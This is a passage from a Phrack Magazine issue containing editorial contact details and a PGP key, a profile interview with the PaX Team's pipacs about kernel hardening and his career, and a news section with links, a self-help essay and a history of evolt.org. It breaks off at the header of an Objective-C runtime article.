for their contributions. Without them, this issue would not be as good as it is.

If you see something that you would like covered, but is not / has not been recently, do some research and send us an article. Have you came up with a better mouse trap? Share it with the world. Phrack lives via the contributions made by the community.

Hasta luego, Phrack para siempre.

[‑]=====================================

Nothing may be reproduced in whole or in part without the prior written permission from the editors. Phrack Magazine is made available to the public, as often as possible, free of charge.

|=‑‑‑‑‑‑‑‑‑‑‑=[ C O N T A C T P H R A C K M A G A Z I N E ]=‑‑‑‑‑‑‑‑‑=|

Editors : circle[at]phrack{dot}org

Submissions : circle[at]phrack{dot}org

Commentary : loopback[@]phrack{dot}org

Phrack World News : pwn[at]phrack{dot}org

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Submissions may be encrypted with the following PGP key:

(Hint: Always use the PGP key from the latest issue)

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: GnuPG v2.0.10 (GNU/Linux)

mQGiBEovYLgRBAD0+0JIMKclm1uY6gJMCxwSt4yOudXAktNKGfbpCFIUn/P/gacR teZUAp3T/0t2bpWLw5tKSfSKFk9i6LainHZqCXpB8NHhBXws6dH4uk06tf9LAFbQ scabxp2+qgKHEP6r15pzSKVqXCTy/fXzTweYUkwz3If2QkikHXrMnAKdHwCgpMlL FuK2e+z3tJdWPh7ORdt1/EUD/AnIshYeOvcUQ3VxOqD66M/E7hDoptYTrjYsUG67 3XF7jwXvghEnPg4dWv4B2obkMS7kRdDnsHdngqk683IhC6nHRDc59odwit+eor/J Q86rqw5YhFwqbknL5bYgnNH6GxL6maqaXZ9bAJZdbNoZqdkFOVc6Qr2NqTzgNyLS DeXcA/9fksLr7slsMk0ZXaRhJY3RlmKYbuQZDFBoO6yhLfX1YJxtT8vvJ75gYFiz jNYfvmUvYr4TwMt5DLSIN1EQ3nC7qv+zEuV0BYPiHBIkldmxgOyQ67ysWlTTCTAa RNQnxludOcp+maC+zOK4RYbWw5x+TlbxKiaOuMjhEm4DYs+MNLRHVENMSCAtIFRo ZSBQaHJhY2sgU3RhZmYgKFBocmFjayBzdGFmZiAyMDA5IEdQRyBLZXkpIDxjaXJj bGVAcGhyYWNrLm9yZz6IYAQTEQIAIAUCSi9guAIbAwYLCQgHAwIEFQIIAwQWAgMB Ah4BAheAAAoJEJp0US5OshGiO/gAn0We2iWa2uzBnnA1IMDII/6YSK8DAJ9o+ozl OmM7bkkRnx6Ga1iEUL2aqbkCDQRKL2C4EAgA6kEGtB0jw/HkU0jmDJug4IkUWMN/ 8LdZNCUK5SvPNw+lTiv647OiSyhuCVnIED5ubJLovG49tYLIDmawiPDP1kQCCxBn 0yfpJHeDtPHO0w5St5F54PYCAClwyp8PHRUXEpN2oHMa8CvvzlG8OUR9ycdlMrM1 VzkJWNeoQ0axjTpg6Bmw+uLCwpOEZTGD8QiBrXqRo80qdy2s7tUybzFbhse9TFkE 0kJ7QQ6o1LcMm8Xhfs+kNZemFt5srY+kjbQxyCOk38atncvs4aEUCUhgDIeoJjSp Xxbi5fNx2JT18It3TDYjxDnYGDAfMes+IRFW4Db92jQ9X/koKSwoJLoNdwADBQf/ RqYZda5tUyOYS7ZyEKnYYG7EF919NOAz1UMHpkVtdOA6e2Dc3pBFTWJ9jUgNVpMr lMG5dAKjga61udVBTMyObnpYhXv0BpLM/GJ2QRZ8Ys16Lbyg+Kb7uQ09M1lTSf8r 3CEd2Ue+Ll67SIb86CrcOZD84VQDWvsfaRaL51P6jAsQEjMamGcU7dwm0AvuiA4I 49IxHYqUlnEd+jDPIws63LvHRj5gm78bmYwru6lxSNEFK91ImEd/FZrNMQL3wX63 C5vviEWjJDPAEyp9wnKQcrmNvlF6B0VT8UPM/WT78EDZXNqUplMd6h0ymYCZV7xG OLJuVHoWLExmN8WpQMaSyYhJBBgRAgAJBQJKL2C4AhsMAAoJEJp0US5OshGi+QoA n0/wQqewpYDny3kFv7QwiB74xTR5AKCbBdNdO5mCbS6Mrzb/LZaqFVUkWg== =yFr3

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

Phrack Prophile on The PaX Team

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x02 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ PHRACK PROPHILE ON ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ pipacs ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑=[ Specifications

Handle: pipacs

AKA: PaX Team

Handle origin: your pick between P. Howard and images.google.com :) Produced in: .hu

Urlz: pax.grsecurity.net

Computers: always a generation behind... Creator of: PaX

Member of: PaX Team :)

Projects: PaX

Codez: ntid

Active since: 15+ years

Inactive since: past few years

|=‑‑‑=[ Favorites

Actors: Chaplin

Films: Versus

Authors: Gurdjieff

Books: Fire from within

Novel: Jonathan Livingston Seagull

Meeting: eclipse'99

Music: Radioaktivitaet, The light of the spirit

Alcohol: long island iced tea

Cars: Maserati

Foods: anything but 4 legs

I like: good beer & wine

I dislike: all that bitter 'beer' down under :P

|=‑‑‑=[ Your current life in a paragraph

Working on some PHP/.net/js stuff for a SaaS startup, and generally tired of everything security related. Fortunately there's life beyond that :).

|=‑‑‑=[ First contact with computers

Despite the early 80's behind the iron curtain and COCOM restrictions, I somehow managed to get my hands on an ABC‑80 during a summer camp. It was Z‑80 and BASIC, but one had to start somewhere ;). Afterwards came a ZX‑81, a Spectrum, etc, the usual stuff in those days.

|=‑‑‑=[ Passions : What makes you tick

Unsolved problems. Unsolvable problems.

|=‑‑‑=[ Entrance in the underground

I'm not sure I was ever part of the underground but let's just say that many of the smart people I met in the mid‑90's would later end up in computer security as a necessary outgrowth of skills they acquired in reverse engineering. To me they're still the friends of 10+ years and there's nothingparticular about being part of the underground (ok, did i successfully ditch the question? :).

|=‑‑‑=[ Which research have you done or which one gave you the most fun?

It's of course PaX, especially some 6 years ago when spender and me were porting it to new CPUs while solving unsolvable problems (where's that NX bit on ppc32 again? :).

|=‑‑‑=[ How you got started on low‑level concepts?

In the ZX Spectrum days I wanted to stop the clock in some game, so there I was learning Z‑80 assembly and finding that pesky dec (hl). From then on it was lots of assembly coding for the Spectrum (still proud of my own turbo loader after all these years :) then later the Amiga (m68k) and finally the PC.

Interestingly, I really hated the PC (x86) after the m68k but when I had to clean up after a virus infection (the first and only one I ever got :), I finally gave in and learned x86 as well and began to reverse engineer more stuff, particularly exe packers (ever since that virus incident I still have the habit of unpacking and looking at everything first). That then led to a never ending cat&mouse game between debuggers and anti‑debugging techniques, so I had to eventually reverseengineer and fix my choice of a debugger, SoftICE. That was a major undertaking in hindsight but it taught me a lot about CPU details that proved very useful in later years.

|=‑‑‑=[ Thoughts on future of security enhancements?

I think we'll see more of them as now there's very serious push in the commercial sector (mostly due to Microsoft) to research and develop practically useful techniques. There will be more tool chain enhancements and also more kernel and hypervisor level work to lock down various parts of the software stack and also to provide some level of self‑protection.

There will also be more work towards hardening parts of the client side userland that is both powerful and most exposed to attacks. Think web browsers, media players, etc, that all implement some form of programmable engines which represent the same kind of problems as runtime code generation (shellcode) did in the previous decades, just at a higher abstraction level. Whether techniques developed so far will be adaptable or not is an open question, but this problem needs to be addressed soon.

|=‑‑‑=[ Short history of PaX?

At around the time when the Y2K panic was settling down I got into a startup to develop a HIPS for windows. That didn't work out in the end for several reasons, but the idea stuck into my head and while enjoying the summer between two jobs, I somehow remembered what I had read about a year ago on IA‑32 TLB hacking and I was set on the path. I talked to a few friends about it and we decided to do a windows version as that's what we were familiar with (speaking of kernel internals). This is also the reason for the 'team' in the name, even if the other guys dropped out soon afterwards to pursue other interests.

The summer passed and I got a new job where linux was everywhere and one October weekend I sat down and figured I'd give it a try. Turned out that the first cut wasn't that hard and I was surprised that the new kernel booted without a hitch and worked as expected.

Then came public disclosure day, something I had debated for some time but decided I wasn't going to go down the patent road. I still think it was the right decision, even if many people thought and still think I was a bit crazy to let this out for free :).

The following years saw slow but steady development of various ideas, limited by my free time, (un)fortunately (depending on which side of the fence you are :). For a more precise timeline just look at the wikipedia article, I think my years spent in (sometimes voluntary) unemployment will clearly stand out :).

|=‑‑‑=[ What future things are planned for PaX?

I wish I could just even list them :), but having looked at my to‑do list it seems I've got enough work left to fill more than a lifetime.

So without any particular preference, here's a few ideas that I hope I can implement one of these days:

Ret2libc prevention: this is something I'd written about 6 years ago but never got to implement it, and somewhat shamefully, the world at large failed to as well (save for MSR's Gleipnir project perhaps). I mean, all the effort people spent in the last decade on propolice/ssp could have equally been spent on solving this much more relevant and important problem...

Kernel self‑protection: the goal here is to solve the somewhat unsolvable problem of the kernel protecting itself from its own bugs. What is or isn't possible is something you'll have to wait and see :).

More arch support: it would be nice if more CPU specific features could be ported to other archs beyond x86, in particular ARM (android, mobile phones) and MIPS (network gear) really need all the protection they can get.

Virtualization support: whether it's a good idea or not from a security point of view, virtualization is here to stay and unfortunately quite a few of the existing kernel self‑protection features are hard to handle in those environments. I'm not yet sure what concessions can be made here...

|=‑‑‑=[ Personal general opinion about the underground

I don't know much about it given how many years ago I lost most of my interest in computer security, but I can't help but note that the barrier of entry is set a lot higher than in the previous century. Couple that with vested new interests (both commercial, governmental and criminal, with unclear boundaries at times :P) in siphoning off all the knowledge and people in security and I can see no bright future for the kind of underground that there was before...

I just hope that the spirit of not taking anything at face value, looking behind and beyond of what is already known will not die out in the younger generations and some of them will keep their independence for long enough to nurture underground outlets as this one :).

|=‑‑‑=[ Memorable Experiences

Meeting the internet in the early 90's when the whole country was connected on a 9.6 kbps line to Vienna.

Downloading IDA 2.x in '94 and not knowing what to do with it at first (anyone remembers ReSource on the Amiga? :).

Playing with SMM back in 1998, I keep wondering when Probe Mode gets 'discovered' and hyped up as well :).

Eclipse'99.

That ADMcon.

Being told by several native (english) speakers that I have a french accent :P.

Seeing the AMD 'anti virus protection' ad on the London tube in the summer of 2004 and realizing I may have had something to do with it.

2005, vomatron with a prince of Sri Lanka, you can blame PaX on him too.

BAcon 06, the first and original one.

Padocon.

Teaching half the world to pronounce ege'szse'getekre (blame the lack of proper accents on Phrack mandated ASCII :P).

Having to endure snoring from all kinds of people :).

|=‑‑‑=[ Memorable people you have met

People who worked on icedump.

The wonderful team of Q.

People who helped with PaX.

The Padocon folks who got a tad bit drunk on palinka.

|=‑‑‑=[ Memorable places you have been

All over the world except Antarctica.

|=‑‑‑=[ Things you are proud of

Reverse engineering SoftICE to the point that some NuMega folks reportedly thought their src got stolen or something.

Learning amd64 and porting a pure asm kernel driver to XP 64 RC and reverse engineering and circumventing PatchGuard (a year before Uninformed had published anything on it) all in 4 weeks while also handling an lkml flamewar and being jetlagged down under...

|=‑‑‑=[ Things you are not proud of

Some would say it's all the things I'm proud of :).

Oh, and sorry for having held up this release, but life's just too busy...

|=‑‑‑=[ Opinion about security conferences

Too much hype over too little content. But then there're exceptions.

Fortunately most are organized enough that presentations are available online with many academic confs being the exception, shame on them. Nevertheless, it seems that I still managed to collect over 16 GB of (security) conference material over the years so I guess the situation is not that bad. I wish I had time to read all that though :).

|=‑‑‑=[ Opinion on Phrack Magazine 1985' ? 1995' ? 2005' ? '2009 ?

1985: I wish we had had a phone line to begin with :)

1995: the days when gopher was being taken over by http, and no encryption in sight... anyway, I think p47 was the first issue I got my hands on, and I didn't find it too interesting at the time, sorry :)

2005: that'd be p63 I guess (your version, that is :), a whole lot more stuff, and finally beyond the 100th how‑to‑backdoor‑linux kind of article

2009: I have yet to see, it didn't leak so far (kudos for the new team :)

|=‑‑‑=[ What you would like to see published in Phrack ?

More hardware related hacking, there're way too many gizmos out there these days to be ignored...

More specific uses of computers, such as aviation, space, astronomy, particle physics, etc. There must be interesting things hiding there.

More food‑for‑thought kind of articles, it's somehow got neglected...

|=‑‑‑=[ Shoutouts to specific (group of) peoples

The old folks from UCF and other groups, all the Q people and those I met through them, and basically everyone I drank a beer with :).

|=‑‑‑=[ Flames to specific (group of) peoples

It's all in the search engines already, for the better or worse :).

|=‑‑‑=[ Quotes

On some sunny day in July 2002 (t: Theo de Raadt):

<cloder> why can't you just randomize the base

<cloder> that's what PaX does

<t> You've not been paying attention to what art's saying, or you don't understand yet, either case is one of think it through yourself. <cloder> whatever

Only to see poetic justice in August 2003 (ttt: Theo again):

<miod> more exactly, we heard of pax when they started bitching <ttt> miod, that was very well spoken.

More recently, a student contemplating doing research related to PaX/grsecurity:

<xxx> So Dr. Spafford essentially told me that it's better to work on something simpler than to try to do research that will save the world

|=‑‑‑=[ Anything more you want to say

While most of the readers are undoubtedly living a computer dominated life, let me remind everyone that you can't have beer over the internet. So go get out sometimes and maybe even invite the neighbour over. For this is what builds real relationships, not electronic substitutes.

Phrack World News

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x03 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack World News]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by TCLH ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Circle of Lost Hackers is looking for any kind of news related to security, hacking, conference report, philosophy, psychology, surrealism, new technologies, space war, spying systems, information warfare, secret societies, ... anything interesting! It could be a simple news with just an URL, a short text or a long text. Feel free to send us your news.

We didn't get any news from the Underground since our last phrack issue, it means that one more time all the news reports are coming from friends of our's.

It would be good if people who claim themself "underground" would send us their news...

Is our underground dead? (apparently yes...)

1. Speedy Gonzales news

2. Hacker hack thyself

3. Evolt.org Marks a Decade

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 1.

_____ _

/ ___| | |

\ `‑‑. _ __ ___ ___ __| |_ _

`‑‑. \ '_ \ / _ \/ _ \/ _` | | | |

/\__/ / |_) | __/ __/ (_| | |_| |

\____/| .__/ \___|\___|\__,_|\__, |

| | __/ |

|_| |___/

_____ _

| __ \ | |

| | \/ ___ _ __ ______ _| | ___ ___

| | __ / _ \| '_ \|_ / _` | |/ _ \/ __|

| |_\ \ (_) | | | |/ / (_| | | __/\__ \

\____/\___/|_| |_/___\__,_|_|\___||___/

_ _

| \ | |

| \| | _____ _____

| . ` |/ _ \ \ /\ / / __|

| |\ | __/\ V V /\__ \

\_| \_/\___| \_/\_/ |___/

*‑[ Phrack 64 0x11 is about the french scene and not a sellout conference... ]‑

http://www.frhack.org/history.html

*‑[ Promise, we are safe... ]‑

http://www.opednews.com/articles/1/US‑Spying‑‑Main‑Core‑PRO‑by‑Ed‑Encho‑090202‑224.html

*‑[ Is the Pentagone secure? ]‑

http://online.wsj.com/article/SB124027491029837401.html

*‑[ Finally, someone is reasonable...]‑

http://www.securityfocus.com/blogs/1908

*‑[ Because we love it ]‑

http://cryptome.org/

*‑[ Silvio is back in the business ]‑

http://silviocesare.wordpress.com/

http://silvio.cesare.googlepages.com/

*‑[ Because it is funny ]‑

http://www.encyclopediadramatica.com/index.php/The_Unix_Terrorist

http://www.encyclopediadramatica.com/GOBBLES

http://www.encyclopediadramatica.com/N3td3v

*‑[ They should know everyone is working for Phrack ]‑

http://archives.neohapsis.com/archives/fulldisclosure/2009‑01/0324.html

*‑[ Ten years late... ]‑

http://www.dtors.org/papers/malicious‑code‑injection‑via‑dev‑mem.pdf

*‑[ Fedwire Funds Transfer System ]‑

http://www.federalreserve.gov/paymentsystems/coreprinciples/coreprinciples.pdf

www.ists.dartmouth.edu/library/216.pdf http://www.fedwiredirectory.frb.org/search.cfm

‑‑[ 2. "Hacker Hack Thyself" ]‑‑

by Kartikeya Putra <alienbaby@freaknetwork.in>

"All human beings, all persons who reach adulthood in the world today are programmed biocomputers. None of us can escape our own nature as programmable entities. Literally, each of us may be our programs, nothing more, nothing less."

‑‑ John C. Lilly, Programming and Metaprogramming in the Human Biocomputer

In the early 1970's, during the early days of Artificial Intelligence research, scientists from the fields of psychology and computer science came together to try to develop a new model of how the mind works. Their efforts eventually resulted in the discipline now known as Cognitive Science. One of the more significant books to come out of this early collaborative effort was called Scripts, Plans, Goals and Understanding by Roger Schank and Robert Abelson, which is still used by psychologists today to support what's called the Information Processing Model of human cognition. I'd suggest that anyone with a serious interest in reverse engineering themselves should hunt down a used copy of this out‑of‑print book (try bookfinder.com, or your local library). In it, the authors suggest that human thought is based on a set of scripts (programs) for meeting personal goals in different situations. The example they use throughout the book is a "Restaurant Script" that tells people how to behave when eating out in public, in order to meet the goal of getting fed. What would you do if you ordered a hamburger and the waitress brought you a hot dog? Your scripts tell you how to handle this situation, what to do when the bill comes, and how to handle all the other transactions that take place in the restaurant environment.

Scripts People Live by Claude Steiner is a book about a form of pop‑psychology called Transactional Analysis. Here the author talks about how everyone has a sort of running "life script" which is basically the story of your own life as you like to tell it. Inside this script there are recurring roles that are often learned in childhood, which inform us how people are supposed to behave. I doubt that anyone ever reaches adulthood with a completely accurate script of their own life story ‑‑ but if you can become conscious of your script, it's possible to start improving it and improving the way you write it as you go along.

Some of our most basic programming concerns what it means to be "good" or "bad." When parents, teachers and other authorities are training us how to be "good," often this has very little to do with doing what is right and is more about training us to behave in ways that are convenient for them. Today the task of programming "reality" has substantially been taken over by television, which is like a mindcontrol device that sits in the living room, hypnotizing a legion of glassy‑eyed zombies. It is sponsored by corporations who are not concerned with anything except selling their products. In one of my favorite commercials on TV right now, this blonde dude ‑‑ who looks to me like he knows he is about to become a complete tool ‑‑ holds up a McDonald's chicken sandwich and proclaims, "Let's hear it for nonconformity!" Are you kidding me? It's so phony it's almost avant garde. Andy Warhol would love it ‑‑ I find it disturbing. I know that there must be a lot of people out there who don't see anything wrong with this ad ‑‑ and others who even buy into it, who think that eating a chicken sandwich for breakfast really is "revolutionary."

When we were teenagers, some of us correctly perceived the system as a hypocritical crock of shit and said, "screw this, I'm out of here." As an adult with a little perspective now I can see that there's nothing wrong with wanting to do your own thing, but rebellion against the system is still a part of it. Maybe we found a peer group who claimed to represent "the resistence," the anti‑system ‑‑ but it's a trick, the anti‑system is still part of the system. By joining it you think you are becoming free, but it's just a trick. As an "outsider," if you break laws or do things that hurt yourself or others, you're just playing in to the role the system wants you to play ‑‑ you're doing exactly what you are supposed to do as an "outsider." The anti‑system system is there because they need "bad guys," so that they can play the "good guys" in comparison. If you are good and not one of them, the whole system collapses. That is revolutionary!

The foundation on which this whole sado‑masochistic world system is erected is the perception of yourself as a victim. A lot of people are starting to figure this out, and when that number reaches a certain tipping point it is going to alter the structure of the matrix. Seeing yourself as the world's victim is profoundly disempowering and keeps you locked in a cycle of self‑created pain and misery. We break free from this cycle by making a conscious decision to accept complete responsibility for our own reality. Get a copy of The Anger Habit Workbook by Carl Semmelroth and study it like a bible. Drs. Barry and Janae Weinhold have an excellent series of six e‑books titled Breaking Free From the Matrix. There are a lot of wonderful books out there to help us take control of our minds and emotions and break free from the matrix of social power ‑‑ find them, and free your mind.

‑[ 3. Evolt.org Marks a Decade ]‑

by mstrix

:: 1998 :: ORIGINS

:: 1998‑2000 :: RAPID GROWTH

:: 2000‑2002 :: GROWING FLAMES

:: 2003‑2005 :: SEEKING BALANCE

:: 2006‑2008 :: FACING INERTIA

:: 2008 AND :: OUR FUTURE

The internet is the most reliable machine ever made.

It's made from imperfect, unreliable parts, connected

together, to make the most reliable thing we have."

‑ Kevin Kelly, Wired founder

Evolt.org is a world community for web developers and other internet professionals. We host discussion lists, publish articles on our website, and maintain a browser archive offering downloads of everything from Mosaic to Flock. From the beginning, our community has been international, anarchistic, and volunteer‑run. If there is one thing that makes us stand out from other web development organizations, it has been our long‑term focus on cultivating community. Yet as much as we have worked together, evolt.org's history is marked by heated turf battles interspersed with periods of inertia. We have struggled for years to find a balance between process, production, leadership and decentralization, while steadfastly maintaining our ideals and integrity. On December 14, 2008, evolt.org turns ten years old.

This is the story of our first decade, from the perspective of someone who has been a part of evolt.org since the early days.

+‑+‑+‑+‑+‑+‑+‑

1998 : ORIGINS

+‑+‑+‑+‑+‑+‑+‑

Evolt.org began as a 1998 copyright dispute between Wired Digital's Webmonkey and some members of Webmonkey's web dev discussion list, monkeyjunkies. The high‑volume list had been operating since 1997. Active monkeyjunkies members wanted an online list archive, so they could search for and reference past posts, but Wired (who had recently been purchased by Lycos) did not provide one. When one member, Dan Cody, as a service to fellow list members, published his own archive of the list, Wired's attorneys ordered him to stop, explaining they were reserving their rights to the list posts. Wired further explained that they hoped to post the archives at a later date, and include banner ads. A number of the community raised a protest, and on December 14, about thirty people from the monkeyjunkies community left Webmonkey to form their own community‑run list, and later, website, evolt.org.

Evolt.org was both an emulation of, and a response to, Wired Digital and Webmonkey. Pre‑Lycos Webmonkey featured a regular staff of writers and web developers living and working in San Francisco, California, producing articles that were both informative and humorous. Silly analogies and crazy story lines made tech tutorials entertaining and accessible. Advertising was always prominent; in fact, Wired founder Kevin Kelly, has said that Wired "co‑invented the banner ad." Monkeyjunkies, the mailing list, almost seemed an afterthought, bolstered no doubt by the magnetic draw of the groundbreaking sites with which it was associated.

Evolt.org began not with a website, nor with an organizational structure, but with thelist, a general web development list, in the vein of monkeyjunkies, but non‑corporate, non‑commercial, and archived online. Some of the original evolters had internet community experience going back to usenet, and more than anything, it was the idea of creating an online "community" to which they were drawn, and the idea that web developers could assist each other, peer to peer, on a worldwide basis.

In addition to the attention paid to a community‑oriented model, evolt.org distinguished themselves from Wired and other corporate web development sites by eschewing advertising. Finally, evolt.org would not claim copyright on anything written by any of its contributors, beyond what is granted by the contributor when he or she publishes on an evolt.org list or site. In the spirit of open source, we were, and are, "a world community for web developers, promoting the mutual free exchange of ideas, skills and experiences."

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

1998‑2000 : RAPID GROWTH

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

Evolt.org members organized themselves entirely through email at first, with direction taking place on the admin list, which was archived, but closed to all but admins.

Our main web development list, thelist, was up and running by early 1999, and by June we were also running a content‑managed site to which members could submit, rate, and comment on articles posted into several "centers" or web development categories. Adrian Roselli offered his personal collection of browsers, and thus browsers.evolt.org was born. The admin group maintained systems, managed development, and acted as editors, still with no formalized structure. Some members would gather to code the CMS and other applications at codefests. Later we would gather for purely social purposes as well (aka "beervolts.") Admins worked hard at everything from evangelizing to coding to creating content. List and site traffic grew rapidly.

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

2000‑2002 : GROWING FLAMES

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

In early 2000, Webmonkey experienced an exodus of editorial staff, and later that year, monkeyjunkies shut down, with scores of displaced "monkeys" moving to evolt.org's thelist. Things were going great for evolt.org.

We tended to organize ourselves by list. After thelist was well‑established, thechat began in 2001 as a place to chat about anything that was neither related to evolt.org or the web development business: "imagine yourself round a table in a pub." Admins continued to communicate with each other via a closed list. In late 2000 admin began a new list for issues specific to the website. This new list, thesite, was open to all interested evolt.org members.

In early 2001, about a dozen the evolt.org admin group gathered at the SXSW interactive conference in Austin, Texas. The group included members from both US coasts, the midwest, Texas, the UK, and Iceland. It was cozy, with a dozen of us sharing two hotel rooms. And it was at this time that we began to attempt to organize ourselves into something resembling a traditional non‑profit organization. We elected a board of directors; Dan Cody was elected chairman.

Shortly thereafter, the admin group broke out into a series of power struggles.

While we had been able to do a certain amount of big‑picture planning in Austin, it was difficult to keep track of things once we had spread out again. We were still communicating mostly by email (on‑ and off‑ lists), by phone, and occasionally by IRC chat (a challenge, since we were spread over so many timezones worldwide), with rare face‑to‑face meet‑ups as folks were able. However we ran repeatedly into walls, since we all came from different cultures, we weren't all always the best communicators, and our vision wasn't always consistent. Trying to make a motion and vote on it was an often cumbersome (and sometimes divisive) practice.

As 2001 drew to a close, the evolt.org admin community had many challenges to face, not the least of which was "process." How do you govern yourselves when you are unable to sustain a traditional organizational structure, and when can't meet face to face?

In early 2002 the organization learned that Dan was personally supporting evolt.org's site and high‑bandwidth browser archive at the rate of $1000 a month. Many were concerned because evolt.org wanted to be able to survive as an organization regardless of whether any one member were available to shoulder his or her portion of the load. Long term survival of the organization became a key concern, known in shorthand as "the bus question." If any one of us were hit by a bus, how would the rest of us make it? Unfortunately, the ongoing discussion around power and leadership issues caused such a rift in the admin group that Dan Cody, our first and last official leader, resigned in May 2002.

Remaining members continued to struggle with organizational and financial issues. By this point, several of those elected in Austin had resigned posts for one reason or another. For the rest, it seemed that the offices held no real meaning in the context of evolt.org.

In search of order, we divided ourselves into committees, and continued attempting to establish voting and other processes. The closed admin list dissolved, and long‑term planning moved to newer openly‑archived list called "theforum." Seeking order, we hoped to solve some of the boundary and accountability issues that had led to the fracturing of the community. Yet the quest for process and organization itself became frustrating to many, because it often seemed like the majority of our energy was being spent on process and power issues rather than on achievement and moving forward as a group. At the same time, world events from the dot com crash to 9/11 to the 2003 US‑led invasion of Iraq fueled emotional responses to exisiting tensions. Once thriving, thechat erupted in flames, then slowed down considerably.

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+

2003‑2005 : SEEKING BALANCE

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+

By 2003, evolt.org had over 3,000 members subscribed to thelist. We continued to maintain the browser archive, and a community web resource directory, and for the past year and a half, had been offering all our members free web hosting as well. We still had essentially no budget, though by this point fundraising had become a serious focus. In 2003 evolt.org stopped offering free webhosting, and we finally allowed some google ads to be placed on our browser archive in order to help pay for our hosting costs.

Eventually most of the committees and smaller lists were shut down, and their duties folded back into theforum. We continued publishing articles, and hosting our main lists, but discontinued the directory. Meanwhile, it was becoming increasingly clear that evolt.org's custom Cold Fusion‑based CMS was vulnerable to the bus scenario. By 2004 we were down to one active CMS developer/webhost (lists.evolt.org at the time, was hosted the UK). As always, the heavy amount of responsibility taken on by a single person became a concern to others in the organization. The group voted to move out of our custom CMS and into an established open‑source CMS, Drupal. We found low‑cost dedicated hosting at The Planet, and mirrors helped relieve some of the bandwidth pressure on the browser archive. The new Drupal‑driven site went live in 2005.

We had finally managed to decentralize evolt.org to the point that it could survive the sudden departure of any one of its caretakers. Ironically, the rocky road to that place resulted in the loss of some high‑contributing admins.

As for governing structure, evolt.org ultimately settled on an ad hoc consensus process. One of us will propose an idea to theforum, ask if there are objections, and wait a few days for responses. If there are no objections, one assumes consensus and moves forward. If there are objections, we try to talk through them, rather than fight. Also, we are no longer concerned with formalizing a hierarchy.

Those who have lasted through the years have progressed a great deal in their ability to work together. While we still face communication challenges, we are more familiar with the territory now.

+‑+‑+‑+‑+‑+‑+‑+‑+‑+

2006‑2008 : INERTIA

+‑+‑+‑+‑+‑+‑+‑+‑+‑+

As evolt.org admin has worked to put our organization in order, web progress has lagged. The patched‑together 2005 design was intended to be temporary, but has yet to be replaced. In 2006 there was a failed movement toward redesign, and by 2008 our article submissions and web traffic had dropped noticeably. Activity on thelist remained steady, but at a lower volume than in years past.

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+

2008 AND : OUR FUTURE

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+

As we move forward into our tenth year, a few large projects lie before us. We are taking a step back, looking at how we are serving our community, and asking how we can do better. To that end we are surveying our community for input. In addition, we continue to work on improving our browser archive by adding more mirrors, and hopefully also adding more information about some of our unique and interesting browsers. Finally, we are taking steps toward truly internationalizing our site, so that we have the foundation on which to build localized versions of evolt.org, a vision we've had, but kept on the backburner, since 2001.

Though the journey has been far from smooth, we've managed to maintain the integrity of our organization, our community, our purpose, and our archives. We continue to welcome new members who want to contribute their talents and energy to the community, while learning new skills along the way. Like the internet itself, evolt.org is made of "imperfect, unreliable parts, connected together to create the most reliable thing we have."

Here's to a harmonious, productive, and successful next ten years.

Abusing the Objective C runtime

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x04 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑=[ The Objective‑C Runtime: Understanding and Abusing ]=‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ nemo@felinemenace.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

